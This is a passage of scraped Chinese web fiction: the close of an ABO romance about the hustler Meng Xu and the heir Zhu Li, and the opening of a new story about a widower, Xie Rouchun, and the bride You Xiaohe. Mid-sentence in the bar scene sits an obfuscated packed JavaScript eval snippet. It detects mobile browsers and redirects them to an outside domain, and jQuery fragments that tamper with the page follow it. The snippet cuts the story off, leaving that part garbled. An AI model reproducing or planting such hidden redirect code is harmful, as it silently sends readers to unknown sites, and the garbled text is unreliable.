“这不是一起相处这么久,都是兄弟嘛。”傻华不满地创了孟绪一肘子,她歪到在沙发上,手机砸到鼻子,疼得踹了傻华一脚。 “你什么身份?他什么地位,你跟他当兄弟?” 孟绪坐直身子,手机里的金主发消息想约她喝酒,钱已经打了过来,刚好最近几天闷在宿舍快长毛了。想着反正网上的人也不认识,孟绪没忍住,洗了个头就直接出门了。 到了约定的清吧,孟绪刚进去给金主发了个消息,抬头就看见白篱在吧台旁边喝酒,旁边紧挨着坐了一个戴着choker的朋克女孩。她拿起手机原本想拍下来传给傻华,但一直背对着她的女孩忽然扭头去取冰块,孟绪看清她的脸,吓得手机都掉了。 vocal,这不是自己骗过的房地产老板的omega小女儿许娇云吗? 孟绪竖起衣领想跑路,但这时候金主的消息叮一声发过来,一个可怕的猜想冒出来,孟绪抬头,果然许娇云目光巡视着场内,看到孟绪的时候愣了一下,然后看了看手机,又看了看她。猝不及防地指着孟绪喊了一声:“你怎么在这!你不是说你出国淘金子去了吗!!!” “没淘到,回来了。” 孟绪硬着头皮走过去,躲过白篱手里的酒杯给自己灌下去,坐到两个人中间,她默默承受着少年愤怒潮湿的注视,笑眯眯地托腮看着他,说:“别生气,我和娇娇都是过去式了,姐这么大个人,还能跟你抢老婆?” “我、你,你抢不过我!”白篱夺过孟绪手里的酒杯,又绕过她走到一脸状况外的许娇云面前,红着眼点头说:“你不是说一个月两万包养我吗?好,我现在答应了,只要你别和孟绪说话,她是个骗子。” “不是,你这死孩子怎么还踩一捧一啊?” 孟绪白了他们一眼,重新拿了个杯子倒酒,看都没看他们故意挽在一起的胳膊,抖着腿听台上的小哥演奏,当然也不忘扭头问许娇云一句:“酒钱是你付对吧?” 白篱和许娇云最后还是败给了孟绪的无耻,两个人坐下来安静地和她一起喝酒听歌,中途孟绪去洗手间,出来的时候却发现许娇云正站在走廊等她。 “呦,尿急吗,老板?我去omega厕所给你看看有没有位置?” 孟绪也倚在墙边,夺过她手里的烟,叹了口气说:“不会抽烟就别抽,这又不是什么好东西。” 许娇云侧目看着阴影里的孟绪,沉默了很久,忽然说:“你不觉得白篱和你很像吗?我之前在酒吧见他和别人打架,动作很像你,所以我就找他,想包养他在身边。” “那你不如直接包养我哈哈。”孟绪吐了口烟圈,笑吟吟地挑起许娇云的一缕头发挽到她耳后,弯腰凑到娇娇脸侧,唇瓣若有若无地摩挲,她的笑声也随着湿热的气息激起娇娇的战栗,“只不过老板,一个月两万包白篱可以,但包我少了点哦。” 许娇云抓住孟绪的手腕,还没有说什么,走廊尽头找过来的白篱却跑过来猛地把她拽开。娇娇踉跄着倒在地毯上,而白篱则失望地看着孟绪,眼泪一颗一颗地砸落,却再没有别的力气质问她。 “是不是谁都可以呀.......”白篱的声音冷静,趁着满脸的泪水,有种心如死灰的荒芜,他没有再等孟绪的回答,转过身,接过等在楼梯口的保镖的伞,独自一人离开了。 是不是谁都可以喜欢你,孟绪,就我不行。 孟绪最后给娇娇扶起来,又安抚了小姑娘一阵之后,自己准备走回宿舍的时候,却远远地就听见街上乱哄哄的人群还有刺耳的警笛声。她看见前方的路段被封锁,正好是青鱼帮的位置。 孟绪的第一反应是赶紧跑,但刚转身,又想到傻华他们还在宿舍,于是不停地给他打电话,但始终没人接听。 不远处有商店起火,夜幕被撕开血淋淋的口子,脸上冰冰凉凉的是飘落的雪花,孟绪在这一夜的无尾城剧烈地喘息着,白汽一团团弥散。 枪声被北风撕碎了灌进孟绪耳朵里,她拼命地跑,却在离宿舍只有一条街的地方被警察拦下来。他看见楚光被持枪的警察包围,而傻华和老五他们都已经血淋淋地看不见原来的样子,散落在尸体堆里,肩头落满一层雪白。 “小姑娘,现在不是看热闹的时候,赶紧回家睡觉去吧。” 一个老警官拦住孟绪,身旁更年轻的警察怀疑地看着突然出现的女孩,正准备盘问,奄奄一息的楚光忽然朝这里放了一枪,子弹刚好擦过孟绪的耳畔射穿了玻璃。 孟绪被警察护在身下撤退,更加密集的枪声响起,从此青鱼帮被一举歼灭,罪犯头目楚光就地伏法。 ------------------------------------- 祝篱一直是很听话的孩子,这辈子唯二的两次任性,都给他带来了余生无数次的懊悔和噩梦。 从小跟着爸爸在西博城生活的时候,街坊邻居笑话他是野种,笑话她妈妈是酒楼里卖唱的浪货.......那时候祝篱一向不和别人争辩,只会疯狂地将人摁在地上打,直到见血才肯罢休。 后来十七岁的时候他分化成alpha,家里忽然来了一大堆陌生的人,告诉他同光市的祝家家主是他妈妈,现在要接他回去认祖归宗。祝篱不肯,跑去酒楼找爸爸。后台卸妆的男人摸着眼尾的皱纹,只看着镜子没有回头,告诉祝篱那个女人给了他两千万,他已经收下钱了,现在祝篱必须跟着他们回祝家。 祝篱不接受,他骂爸爸是骗子,明明说好了等他长大之后要给爸爸开一个自己的酒楼的,到时候可以随便唱爸爸喜欢的歌。于是祝篱逃跑了,路上被骗被打,直到流浪到无尾城,遇到赌场里的少女,这才安定下来。 少女很穷,是个女alpha。祝篱时常会想如果当初孟绪没有救下自己,他会不会过的更好一点? 但很显然,如果能让他再回到十八岁那个赌场,他一定会在孟绪开口之前先爬到她脚边求少女可怜自己。 孟绪看起来很不靠谱,但华哥说这已经是她用过心的程度了,你可是孟绪第一个这么用心对待的人。 祝篱很吃惊,不敢想象那个笑眼盈盈的少女到底该是个多么生性凉薄的人。但还好,至少她对他很好。 后来祝篱很自然地喜欢上孟绪,在离开无尾城的很多年里,他也想过自己到底喜欢孟绪什么? 明明她就是一个虚伪、轻浮、口腹蜜饯又三心二意的人渣。 但每次当风吹起时,祝篱就遏制不住地想起孟绪,她永远都不可能被任何一个人拥有,但任何人在孟绪的身边,都能感受到无限的自由与温煦。 他或许就是头脑简单,没有看穿孟绪的说辞,祝篱以为她说的每一句都算数,但没想过孟绪说的每一句话都不算数。 明明她是喜欢自己的脸的,但因为自己是alpha,所以就要被孟绪排除,祝篱真的不甘心。 祝篱真的不明白为什么alpha就是不行,只要孟绪喜欢,他也可以学着那些omega,他可以趴在孟绪身下,可以穿孟绪喜欢的裙子,甚至为她留起长发,方便她在亲吻的时候一把拽住。 但一开始不行就是永远都不行,祝篱试过反抗,试过耍心机让孟绪吃醋,但聪明如她,在这方面却迟钝得像是一块铁板。孟绪甚至有心情和他名义上的“女朋友”调情,祝篱拽住她的手腕,想质问什么,但眼泪落下来,他又觉得疲惫。 祝家的保镖告诉祝篱他爸爸突然生病去世,让他赶紧回去参加葬礼。原本他是想跑过来让孟绪抱抱他的,但那一刻他又不需要了,骗子的怀抱是冰凉的,他不需要。 所以祝篱第二次赌气,跟着祝家的人离开了无尾城,后来在爸爸的葬礼上,他既得知了原来爸爸半年前就查出了咽喉癌,当初让他回祝家只是想让他有个依靠。而后又在殡仪馆的电视上,看到了青鱼帮在他离开那晚,全数被剿灭的新闻。 嗡的一声,世界都在祝篱眼前变成了虚影,他安静地站着,眼泪却是再也掉不下来了。 心死的人没有眼泪。 祝篱这些年跟着祝家家主管理企业,也没有放弃过寻找孟绪,他总怀着最后一丝侥幸——孟绪那么狡猾,万一、万一她就是偷偷逃走了呢? 所以他一直不停地收集消息、不停地被骗,但下一次只要有线索,祝篱还是会立刻就去查看。偶尔他那个长姐祝月会拿这件事讥讽祝篱,但他并不在意,只是冷漠地骂回去:“你不是也为了你那个家庭教师要和妈妈断绝关系?有什么资格嘲笑我?” 祝月十几岁的时候就喜欢上了她的家庭教师安禾,但因为两个人都是omega,而且安禾出身普通,就被祝家家主棒打鸳鸯,将安禾送到国外去了。 当时还年轻任性的祝家大小姐反抗过,用尽各种手段,甚至在一次公开采访中扬言要和妈妈断绝关心。但后来祝家家主将安禾和另一个alpha的婚礼照片给她甩了出来,从此祝月就沉默下来,不再提及和安禾有关的任何事情。 这次听说安禾回国参加母校的百年校庆,祝篱本以为他那个任性的姐姐会打闹一场,但没想到她突然在家庭聚会的时候宣布自己要结婚了,和另一个女alpha。 祝家家主闻言没有反对,只是让她把人先带回家。祝月没有拒绝,点了点头故意笑出声道:“好啊,我相信母亲一定会喜欢她的。” 才不会呢......祝月切开牛排,看了眼在上位的母亲,那个拆散她和安禾,还拍假照片骗她死心的“大家长”,她想:那个孟绪一定会把母亲给气死。 孟绪也没有想到有钱人这么着急,还没睡醒就把她给薅到了别墅,自己拎着半个麻袋的家当,跟在祝月身后走到大厅,住下来喝了杯水之后,想起还没和房东要押金,于是低头着急忙慌地给房东发消息,没有注意到早起下楼的祝家小少爷。 她听见脚步声,头也没抬朝楼梯口招了招手,而后那脚步声忽然停止了,空旷的客厅想起剧烈的喘息声,孟绪感觉不对抬头,却被人捂住眼睛压倒在地毯上。 vocal!三个人一起结婚要加钱的! 孟绪没有搞明白状况,唇角和颈侧却落下了温热的液体,眼泪一颗一颗地砸下来,潮湿的白桃味信息素缠着她的呼吸。 咬牙切齿的声音在孟绪耳边响起,他好像更成熟了一些,但依旧是委屈地哭着问她:“七年了.......孟绪,这七年你跑哪去了!” “不是说好了,你说好了和我做一辈子好朋友的!孟绪,你个骗子!” 你个骗子,我好想你。 一顿早餐给孟绪吃的挺难受的,祝家家主倒是没怎么为难她,主要是祝月不停地给她加东西,而坐在对面的祝篱就更过分,不仅用鞋尖不停地撩她的裤脚,还面无表情地给她倒酒,故意在饭桌上说:“怎么回事呀孟绪,我记得你之前不是把酒当水吗?现在怎么这么拉,改喝小米粥了?” “呵呵,祝少爷,瞧您说的,现在不是年纪大了吗?学着养生了。”孟绪苦笑,祝篱的鞋尖一直往上都踩到她的膝盖了。 “哦,那烟呢?吃完饭要和要一起去阳台来两根华子?” 祝篱撩起眼尾,竟然勾出一丝冷艳的笑意,身子微倾,略微逼迫地看着对面的孟绪。 “臭杂种,你今天是故意找茬的吧?”祝月脾气不好,虽然知道了孟绪和祝篱是当年在无尾城的好朋友,但看到他在母亲面前这么为难自己名义上的结婚对象,也难免冒火,抓着孟绪就要上楼回房间休息。 “站住。”祝篱也跟着起身,走到楼梯口拦住祝月和提溜着自己半麻袋家当的孟绪,微不可查地笑了笑,扭头吩咐管家:“成婚之前就住到一起不合规矩吧?徐叔,去把我卧室隔壁的房间收拾出来,刚好我们都是alpha,没什么好避讳的。” “凭什么!我的爱人凭什么要和你住在一起?” 祝月又惊又怒,不明白一向沉默冷淡的祝篱今天怎么几次三番地找茬,难不成是孟绪当初在无尾城得罪了他? 听到祝月的质问,祝篱晦暗的目光扫过孟绪,低头好整以暇地理着袖口,他莞尔,俯身一字一句地说:“当然是因为我才是祝家的继承人,以后整个祝家都是我的,包括........” 年轻的alpha没有把话说完,但丝丝缕缕的目光,却像是流动的蚕丝一样一寸寸将状况之外的孟绪裹紧纠缠。 祝篱平常很忙,因为祝家的企业和势力遍布很广,不仅是他,连祝月都需要经常出差去处理事物。所以经常祝家的豪宅里只剩下孟绪一个吃白饭的,睡到中午晃晃悠悠地下楼吃管家安排的营养餐,然后窝在阳光房里打游戏或者进直播间调戏擦边omega主播。 不过很快她就发现祝篱在她的手机里偷偷安装了定位软件,因为只要她去酒吧,祝篱总能急匆匆地赶过来,坐在她身边一脸严肃地敲键盘或者打电话处理事情。 孟绪很烦,喝多了忍不住揪着他的领带问:“你装什么装啊小舅子,啊?我问你,你来酒吧穿着西装是cos禁欲商务男吗?!” “怎么?涩到你了?”祝篱顺从地弯腰蹭到孟绪脸侧,凤眼轻挑,精致的风流贵气便流露出来。他简直像一只品相极佳的雪豹,在孟绪面前收敛起爪牙装作无辜的漂亮小猫。 vocal,这天下A同之心不死,我孟绪永无宁日啊! 孟绪喝醉之后胆量也膨胀了,勾着祝篱的脖子,她和他抵着头,手指了下酒吧台上正跳着钢管舞的男模,顺着祝篱的脊背拍了下他的tun,孟绪笑吟吟道:“看见了吗?姐姐喜欢那样的,你要是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15336617|149889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能跳,今晚就来我房间。” “是你说的。”祝篱深深凝睇着孟绪玩味的表情,忽然眼尾洇出泪花,低头贴了下她的唇瓣,而后起身扯掉领带往台上走。 走到台上,祝篱抽出一沓钱塞到男模怀里,然后站到他的位置上,闪烁迷离的灯光打在矜贵冷艳的青年alpha身上,他越过台下所有探究和痴迷的目光,直直地望着坐在阴影里抽烟的孟绪。 烟雾缭绕,他看不清她眼里的情绪,只是靠近话筒,像少年时一样,郑重而坦诚地说:“下面这支舞,跳给我最爱的人。我说过,我可以为你做任何事情。孟绪,” 祝篱喊出她的名字,唇角翘着,但无声地落下一滴滚烫的眼泪。 “孟绪,你骗我吧,我再也不怨你了,只要你能......骗我久一点。” 混乱的灯光打在祝篱脸上,有人在吹口哨,也有人笑嘻嘻地喊着脱掉脱掉,全部脱掉。故意晃开的啤酒冲到祝篱贴身的衬衫上,他闭上眼,承受着一切准备开始。 但下一秒,音乐还没响起,刚才那个朝他冲啤酒的男人就被孟绪用酒瓶开了瓢。 “我脱你爹的脱,给我跳的舞!我的马子,烧也烧给我看的!你他爹的伸什么爪子!” 孟绪到底是从十几岁就混江湖,平常焉不拉几的是她懒,但真耍狠的时候也挺能唬人,起哄的人群都安静下来,孟绪走到台上,扯住望着他满脸泪水的祝篱就拽到怀里。 伸手像从前那样给他抹了把眼泪,孟绪拍了拍他的后背,好笑地软下语气说:“看来你小子是真喜欢我,一见我就shi。” “孟绪你........” “开玩笑。” 青年alpha的胳膊紧紧缠住孟绪,脸埋在她颈侧,咬住孟绪的发丝,他红着脸哼了声,承认:“你说得对,孟绪,我就是shi了,不信你摸摸。” 孟绪那天到底还是看到了祝小少爷跳的钢管舞,只不过跳着跳着她就变成了“柱子”,被祝篱颤了一夜,腰子都要累断了。 原本她是对alpha还是有些天然地抵触,但架不住祝篱准备齐全,连猫耳朵、猫尾巴,蕾丝睡衣和项圈都穿戴了一遍。而且alpha又天然地征服欲强盛,看着伏在自己身下满面红潮的青年,孟绪难免被激红了眼,吻掉他的眼泪,继续咬着他的腺体作乱。 折腾一夜之后,早上七点多祝篱又起床收拾好自己上班,孟绪被他拽起来吃了个早餐,因为她的房间被弄得太乱,就索性睡到了祝篱的卧室。 一直到下午三点多,孟绪睡醒,躺在从床上玩了会手机,回了几条祝篱狂轰乱炸的消息,然后换身衣服准备下楼觅食。她拉开祝篱的衣帽间,却发现里面被他改成了收纳间,好多磨砂玻璃做的小城堡,孟绪手贱地打开,却发现零零散散装着的却是一些“破烂”。 洗到毛边的短袖、少了一角的骰子、还有再来一瓶的饮料盖、几个铝制的易拉罐环......孟绪大概能认出这些都是她当初用过就丢掉的东西,但没想过会有人跟在她身后小心翼翼地捡起来保管这么多年。 她有些发愣,说不上是感动还是其他的,坐在衣帽间待到傍晚。狭小的空间里是祝篱淡淡的白桃香味,她尝到甜的就有些想哭。因为从小在福利院吃颗糖就需要打扫两个小时的卫生,孟绪懒所以就索性不吃老师手里的那颗糖了。 后来她在无尾城讨生活,为了融入周围环境,她学着喝酒抽烟打架还有赌博,但始终没有学过吃糖。 再遇到祝篱之前,孟绪都以为自己是不喜欢吃甜的,直到后来他不厌其烦地给她烤饼干,给她煮汤圆,给她做雪花酥和杨梅甘露......孟绪才知道原来甜是这么个甜。 混沌的思虑里好像终于照进一丝光亮,孟绪拧了下大腿,她终于明白自己为什么愿意接受祝篱了。 很简单啊!祝篱甜啊! 小时候没有吃过糖,现在孟绪长大了,她就想喝一瓶白桃汽水,又不犯法! 祝篱晚上回家,手里领的都是夜市上廉价的小吃,孟绪拉着他躲到书房,刚拆开一盒烤冷面,就听见客厅摔盘子摔碗又闹了起来。 “怎么了又?要不要下去看一下?” 孟绪咬着烤冷面,祝篱随手给她擦掉嘴角的酱汁,打开一瓶可乐之后说:“没什么,祝月把她的相好带回来了,要逼母亲同意她们去国外结婚定居。” “vocal,那我怎么办?需要我们三个把日子给过好吗?” 孟绪震惊,咬了口淀粉肠准备冲下去。但刚到门口又被祝篱拽住,他脱掉西装露出穿在衬衣里的蕾丝bra,冷艳矜贵地勾着她往回走,仿佛没听见楼下的争吵一样,亲了下孟绪的脖子说:“你以为母亲是傻的?我们的关系,你来之前她就已经知道了,只有祝月蒙在鼓里以为能和母亲反抗。” “啊?你们家挺复杂。” “嗤。”坐在椅子上,祝篱仰脸看着孟绪,凤眼微挑,目光澄澈明朗,又像是回到了年少,笨拙地追逐孟绪的注视。 “孟绪,你知道吗?这些年我不分昼夜的努力,就是为了这一天,为了这一点渺茫的希望。”脱掉西装裤,祝篱露出她今早让他穿的黑丝腿袜,勾着孟绪,他继续说:“我总想着,万一有一天,有一天你永远喜欢我了,我能有机会,和你光明正大地分享自己拥有的一切。” “我已经不能承受任何遗憾了,尤其是关于你,孟绪。” “好啊。”楼下的争吵声小了,孟绪拿着祝篱的外套擦了擦手,转身扒拉出自己下午在行李当中扒出来的最值钱的东西——一颗坑坑洼洼的玻璃弹珠。 “那我们结婚吧。给,我最值钱的东西。” 祝篱怔怔地看着孟绪,眼里凝起的泪雾模糊了视线,但他舍不得眨眼,生怕惊扰了这场过分美好的“痴梦”。 摸着他的脸亲了一口,孟绪难得认真地和他说:“其实我也有妈妈,但她养不起我,就给我扔到了福利院,那天下午她想走,怕我哭就给我买了瓶弹珠,后来我光顾着和别人玩弹珠,一回头,嘿,成孤儿了哈哈哈。” 孟绪笑着,祝篱的眼泪却止不住,一颗一颗疼得落下来,他抱紧了她,揉着孟绪的头发不停地亲她的脸,孟绪痒得想笑,捏住他的唇瓣,笑着继续说:“我小的时候怪我妈,就把弹珠都给扔了,福利院的小孩去抢,我也没管。但是后来半夜,我又有点想她,就很没出息的偷偷溜出去,在马路边捡到了这最后一颗压得坑坑洼洼的弹珠。” “我之前总是想,以后我有家了,就把这颗弹珠拿出来,好好让我老婆心疼心疼我,以后少让我做家务少骂我。所以,祝篱,”她笑眯眯地贴近哭得喘不上气的青年alpha,将弹珠郑重地塞到他手里,问:“你愿意和我这个破破烂烂的混子有个家吗?” “孟绪,”将她的手和弹珠一起裹在手心,祝篱仰着脸,殷红的眼尾勾勒着妩媚,他穿着为爱人准备的裙子,但目光却虔诚圣洁一如十七岁的时候,如同他最初见她,做她坚定而笨拙的信徒。 “不是破破烂烂,你是我的城堡呀。我会用爱和血肉,做你的荆棘,永恒地将你环绕。” 53.入赘给冷艳黑寡夫后,你被他哭着囚禁了(一) 胸无大志心直口快多动症乐天派女主×冷艳阴郁城府极深望门寡年上男主 游潇荷×谢柔春 *游潇荷自小上蹿下跳,鸡烦狗厌,方圆十里的有男孩的人家都嫌弃她像个泼猴似的不正经。长大之后果然科举考了四次都没中个秀才,游母本打算给她包个山头种地牧马,结果生意被陷害,十九岁的游潇荷不得已,为了救活母亲的生意,入赘给了素未谋面的远房表嫂、传闻中克服狠毒独占妻家财产的黑寡夫谢柔春。 成亲第一夜,谢柔春枕着账本,又在枕边插了一把刀,警告游潇荷敢越界一步就捅死她。成亲第一个月,谢柔春偷偷收起游潇荷的地铺,逼她上床睡觉。成亲第一年,谢柔春仍攥着当初那把刀,抵在脖间,□□地坐在被锁住脚腕的游潇荷身上,冷艳美人垂泪,向她求欢:“求求你,妻主,我不脏的,你也疼疼我.......” ------------------------------------- “房叔,派人再去找一遍,这游潇荷既入了府,就没有再悔婚的说法。” 重新沏了一遍茶水,珠帘后的人影微动,影影绰绰露出一截雪白纤细的脖颈,纤长鸦黑的眼睫低垂,袅袅茶雾遮挡着谢柔春眼底的阴鸷与不耐。 房叔忙不迭点头,但又忍不住多嘴道:“这游家四房本就是乡绅人家,一个旁支,远的没边的亲戚了,老奴去游喜镇打听,都说四房这姑娘心性浮躁,整日溜鸡斗狗,是个没指望的。主君选她入赘,别拖了您的后腿。” “房叔,这枕边人若是个聪明的,我这家主印还哪的牢稳吗?再者说了,”合上杯盖,铮的一声,谢柔春掀起眼睫,长眉微挑,嫣红唇瓣勾起浅笑,轻飘飘道:“她若坏我计划,杀了便是。又不是没沾过人命。” “是,主君。”房叔猛地低头,想起延寿堂那老太君,打了个寒颤,慌忙转身逃似地离开这屋子。可巧,前脚房叔带人刚走,后脚一个鹅黄衣衫的小姑娘便灰扑扑地跨过门槛跳进屋内。 屋里只剩下两个贴身的小厮给主君添茶,见个陌生少女闯进来,吓得后退几步,还没来得及缓过神质问她。少女已经自顾自掀开珠帘,掸了掸衣裙上沾的泥土和草屑,她拱拳,朝着上座神色戒备的冷艳郎君问好:“见过表姐夫,小女是游家四房的游潇荷,之前您送过信给我母亲,信上说要我来入赘,您就给母亲周转银钱,借调商船。现下我人来了,您也该兑现诺言了吧?” 谢柔春微微垂眸,并不直视游潇荷,在本朝,郎君们自幼被教习男德男训,直视女子会被视为一种放荡无礼的逾矩行为。虽然他以望门寡的身份被迫加入游府,被老太君从十七岁磋磨到如今二十五岁,整整八年的时间里,谢柔春早已从天真娇柔的小郎君变成了如今阴郁冷漠不人不鬼的怪物。但这礼教的恐怖之处就在于,即使谢柔春恨透了,但骨子里依旧遵循这套规则。 轻轻撇开茶沫,谢柔春声音清冷,不疾不徐地反问时倒像是郎君羞怯的嗔怪。他问游潇荷:“约定是七月初便要到繁洲来,可如今已经过了大半个月,不知是什么绊住了游小姐的脚程呢?竟使得您做了个不守信用的女郎。” “我路过月折山,借宿那家的老婆婆,女儿们都征兵去了塞外,地里的水稻没人收,我就多逗留了十几天帮老婆婆收完水稻才赶到这里。” “谎话。”谢柔春冷笑着瞥了她一眼,只见堂前的少女脖颈白皙而脸却晒黑了一些,杏眼明亮水润,好似成色极佳的玛瑙珠子。他端起茶盏抿了一口,说:“那老婆婆究竟多少亩水稻,需要你逗留十几日,游小姐,扯谎也得讲究实际不是吗?” “不止是老婆婆家里的呀,整个村子很多老人家,女儿和儿子都不在身边,她们一年到头种地,最后还得往官府交一点。我身上有劲,就帮她们把水稻作物之类的都给收了。” 谢柔春一愣,他倒是没想到能得到少女如此认真的回答,按理说,寻常女子若是愿意扯个慌,已经算是体贴入怀了。而游潇荷手心确实有一层新茧,面庞也被晒黑了些,挑在门口的行李堆里,也确实有很多月折山盛产的果子和腊肉。 “表姐夫,我真没骗你,不信你跟我一起再回趟月折山,我们去问问陈阿婆。”游潇荷说着走上前,伸手做势要来拽谢柔春的衣袖,他慌忙起身躲开,目光恼怒地盯着她,而后冷哼一声,揭过话题说:“按照契约,答应送给你母亲的银票已经派人送去,至于商船,等一年之期到了,你可以亲自押送回游喜镇。” “好啊,好,表姐夫你真是人美心善!”游潇荷听他说完,便眼眸一弯,喜滋滋地仰脸看着谢柔春,他目光微怔,反应过来这竟是一句夸奖后,心头涌起一股陌生诡异的感觉。半晌,谢柔春眼尾一挑,竟是柔柔笑开了,扯出手帕挡在唇边,讥诮道:“真有意思,你还是第一个夸我心地善良的人呢。倒不知你是虚伪还是愚蠢.......” 谢柔春的嘲讽没有说完,手里的帕子就被游潇荷抽走,她熟练地擦了擦脸上的汗,理所当然地看着愣在那不知所措的谢柔春,反问道:“夸你也不行?怎么,非要我昧着良心说你又丑又狠毒,你这人好奇怪啊。” “你……” 谢柔春攥紧手指,半天哑口无言,若是游潇荷讥讽谩骂他,他倒早就能从容应对,可现下她把他夸得措手不及,一时呆愣,半晌见她将手帕揣到怀里,转身要离开时,他才微红着脸,咬牙叫住她:“手帕,手帕还给我!” “啊?可我的帕子破了,我想着郎君们都有很多帕子,又不差这一个,给我怎么了。我们街上顾林他们的帕子都能让我随便取呢。” 游潇荷苦着脸转身,捂着帕子不想还给谢柔春,而他听着她的话,越听做不对劲,蹙眉警告道:“游潇荷,我不管你从前怎么花心放浪,但既然答应了入赘。这一年就不可以和别的男子有牵扯,再不济,你把你的心肝给我藏严实一点,若让我发现了还好,若让旁人给发现了,我定留他不得。” “你怎么总将人想的这么坏?顾林他们是我从小的玩伴,给我几个帕子也是因为我们相熟,并没有你口中的腌臜事,表姐夫,你空口红舌就污蔑别人清白。我发现了,你果然没有我想的那么好。” 游潇荷确实被游母养的单纯一些,但基本的道理都明白,谢柔春这一通话将她和顾林这些玩伴们给打成奸妇淫夫,实在歹毒。越想越气,他的帕子也不想要了,游潇荷拿出来又想到了自己擦过汗,便将贴身的玉珏扔给他:“我现在身上没有多少钱,你这个帕子算我买的,玉珏给你压在这,等我赚到钱之后再找你买回来。” 温热的玉珏扔到怀里,谢柔春下意识去接,抬眼游潇荷却已经冷着脸离开,气哄哄地抗起行李朝着后院客房去走。他望着仍在颤动的逐渐,细微的铮鸣声也像他的心跳一样,目色晦暗地望着少女的背影,光影摇曳,谢柔春冷嗤,心想,寻常男子出门没有带帷幕,都要被骂成荡夫,现下倒显得这游潇荷来逞英雌了,说些好听的话,难不成还以为自己真是什么正人君子了?可笑至极。 他谢柔春磋磨到现在都没遇到一个好女郎,那些举止粗俗的村夫,又凭什么遇到? ———————— 房叔回来之后没有注意到谢柔春阴郁的面色,只勾着头禀告说:“主君,那游潇荷进府后撞见管厨房的婆子正教训底下的小厮,她上去夺了鞭子和刘婆子打到一块。又将身上的钱给了被教训的小厮,这才耽误了和您会面的时间。” “这小女郎倒是个体贴人啊,据说才十九岁是吧,可怜见的,正是气血方刚的年纪,这样吧,房叔你将她救下的小厮送去贴身服侍游潇荷。在我眼皮子底下厮混,总比闹到外人跟前去强,你说是不是?” 谢柔春声音淡漠,偏房叔却止不住打颤,跟了公子这么多年,房叔太了解他了。显然谢柔春是存了杀心,以□□引那女郎犯错,再抓住错处疯狂报复。到时候……那小厮和游潇荷,甚至整个游家,只怕都没有好下场。 游潇荷又在游府待了两天,入府时救下的林辛被指到她身边伺候。但在游喜镇她自由自在惯了,也不习惯身边跟着人,边让林辛自己找事情做。少年木讷地摇头,垂眼羞愧地对她说:“女君,奴打小是在家里伺候母父和妹妹,后来被卖到游府,就一直待在后厨烧火做饭,不知道自己能做什么。” “哎呀,你别叫我女君,听着很怪。”游潇荷想起后巷的徐招妹,那是她七岁时的好朋友,只不过前几年被他爹给卖到了隔壁镇的财主家做小妾。游潇荷在成婚前一夜问他要不要逃跑,徐招妹眼睛哭肿了,但仍是摇头,只说母父养他一场,若是跑了,徐家都落不到好,他不能做那样没良心的人。 徐招妹那一夜亲了一下穿着夜行衣要带他逃跑的少女,眼泪滴在她指尖,而后转身关上窗,这辈子都没有再见过游潇荷。 游潇荷或许永远都不懂徐招妹那滴眼泪,但她此刻看着林辛,却忽然眼睛湿润地笑起来,摸了摸他的头提议道:“我给你改个名字吧,以后你叫林杏,我们游喜镇的杏子又绵又甜可好吃了。到时候我会带你去吃的。” “杏……林杏,我的新名字吗?”少年怔怔地念着这两个字,眼里亮起光,第一次放肆地挽起唇瓣,欣喜地望着游潇荷。 她眼睛更亮,日光明明灭灭地烫过蜜糖似的眼瞳,少女歪头,那蜜糖便从她眼底流到他心头。 “是啊,以后我就叫你杏杏,你叫我小荷就行。” 游潇荷被扔在客房两天之后,房叔领着人带她去苍槐院安置,她一路上不老实,见花园池子里肥嘟嘟的鲤鱼,伸手就想去捞。林杏吓得拉住她的袖子,为难地摇了摇头,游潇荷才不情不愿地继续跟上房叔,但路过花坛时,还是摘了一束花朵,熟练地编了个花环。到了苍槐院,游潇荷就直接将花环待到了在石桌旁记账的谢柔春头上。 “你这是做什么?”伸手扶住花环,谢柔春探究地凝睇着面前笑眼弯弯的少女,想起来上次不欢而散,他本是做好了和游潇荷扯皮的准备,但哪想今日余光刚瞥到她进来,下一刻发髻上就被她戴了个花环。 “我们游喜镇,虽然没有繁洲富裕,但可是个讲礼数的地方,探望人没有空手来的。”游潇荷自夸自话,随意坐到了谢柔春身边,见他面前的燕窝没有动,便端到自己跟前,问他:“你不吃了吗?那我替你吃了吧,刚好我饿了。” 谢柔春被气笑,懒得和她纠缠,摆手道:“随意你,不过今夜你就 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揉了揉额角,谢柔春被她影响得不能集中注意,抿了抿唇生气道:“你就不能安静一刻钟吧?七八岁的小孩都没你这么闹腾。” “我若是能安静下来,早就考上秀才了。我娘说我很聪明,就是精力太旺盛,上辈子一定是个泼猴,所以这辈子上蹿下跳,没有安稳的样子。” “哪有人这么说自己?”谢柔春忍不住轻笑,旋即反应过来,自己竟然被一个小女郎给逗笑了,茫然地捏紧狼毫笔,垂下眼睫,语气冷淡地吩咐房叔:“带她去府里逛逛,你们贴身跟着,保证她明早能起来梳妆迎宾就成。” “能逛园子了!表姐夫,你真好,善解人意还生得美,比我娘可通情达理多了。”游潇荷猛地拍了下桌子,笔锋划开,谢柔春盯着账本上的墨迹,怒不可遏地抬眼瞪她,但蓦然撞进少女笑意盈盈的清亮眼瞳里,谢柔春的怒气又像被溪水淌过,别过脸,他冷漠教训她:“我没有给人当娘的癖好,以后少说这么诳语,让旁人听了净是笑话。” “嗷,记住了,表姐夫。”游潇荷心情好,被骂了也是喜滋滋的,转身往院外跑去,但到了门边,又猛地折回来。谢柔春一直注意着她的身影,此刻也捏紧了算盘珠子,心里盘算若是她非拉着自己陪她逛园子,该怎么狠狠教训她不知轻重才好。但耳畔掠过一阵风,站在树下沉默寡言的少年却被她牵住,游潇荷压低了声音,但笑声郎朗,她还是好温柔地对少年说:“杏杏,我们去喂小鱼吧,不要站在这里,会打扰表姐夫记账的。” 